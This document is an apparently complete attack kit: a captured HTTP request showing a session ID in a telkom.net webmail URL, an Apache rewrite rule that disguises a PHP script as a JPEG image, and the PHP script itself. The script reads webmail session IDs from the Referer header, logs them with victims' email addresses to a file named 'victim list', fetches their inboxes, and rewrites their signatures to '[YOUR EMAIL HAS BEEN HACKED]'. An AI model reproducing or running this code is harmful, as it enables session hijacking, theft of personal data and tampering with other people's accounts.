GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1
Host: mail.telkom.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX&
Cache-Control: max-age=0

RewriteEngine On
RewriteBase /
RewriteRule mylab/image.jpg mylab/checkmail.php

<?php
// Ambil header Referer
$ref = $_SERVER["HTTP_REFERER"];
$telkomnet = false;
$plasacom = false;
$width = 468;
$height = 100;
if (strpos($ref,"telkom.net")>-1) {
 $telkomnet = true;
}
if (strpos($ref,"plasa.com")>-1) {
 $plasacom = true;
}
if ($telkomnet===false && $plasacom===false) {
        exit();
}
 
$file = fopen("daftarkorban.txt","a");
$url_tokens = parse_url($ref);
$host = $url_tokens["host"];
$tokens = explode("/",$ref);
$sessid = $tokens[4];
fwrite($file,"######\n");
fwrite($file,"REFERER:".$_SERVER["HTTP_REFERER"]."\n");
fwrite($file,"SESSID:".$sessid."\n");
 
$urlhost = "http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&";
$inboxhtml = file_get_contents($urlhost);
 
preg_match('/<title>(.*?)<\/title>/i', $inboxhtml, $matches);
$title=$matches[1];
$email = $title;
$pos = strpos($title," ");
if ($pos > -1) {
$email = substr($title,0,$pos);
}
 
fwrite($file,"KORBAN:".$email."\n");
fwrite($file,"******\n");
fclose($file);
 
$image = ImageCreate($width, $height);
$white = ImageColorAllocate($image, 255, 255, 255);
$black = ImageColorAllocate($image, 0, 0, 0);
$grey = ImageColorAllocate($image, 204, 204, 204);
ImageFill($image, 0, 0, $black);
ImageString($image, 3, 15, 5, $sessid, $white);
ImageString($image, 3, 25, 25, $email, $white);
 
// Writing Signature...
$url = "http://mail.telkom.net/Session/$sessid/settings.wssp";
if ($plasacom==true) {
 $url = "http://mail1.plasa.com/Session/$sessid/settings1.wssp";
}
$old_settings = file_get_contents($url);
preg_match('/<textarea(.*?)>(.*?)<\/textarea>/i', $old_settings, $matches);
$oldsig = $matches[2];
 
$data = array();
$data["UserFrom"] = $email;
$newsig = "[YOUR EMAIL HAS BEEN HACKED]".$oldsig;
$data["Signature"] = $newsig;
$data["Update"] = "Update";
 
$response = doPost($url,$data);
if ((strpos($response,"Updated")>-1 && $telkomnet==true) || $plasacom==true) {
        ImageString($image, 3, 35, 50, "Signature anda berhasil diganti menjadi:" , $white);
        ImageString($image, 3, 45, 65, $newsig , $white);
}
header("Content-Type: image/jpeg");
ImageJpeg($image);
ImageDestroy($image);
 
function doPost($url,$data) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        $response = curl_exec($ch);
        if(curl_errno($ch))
        {
                $response = curl_error($ch);
        }
        curl_close($ch);
        return $response;
}
?>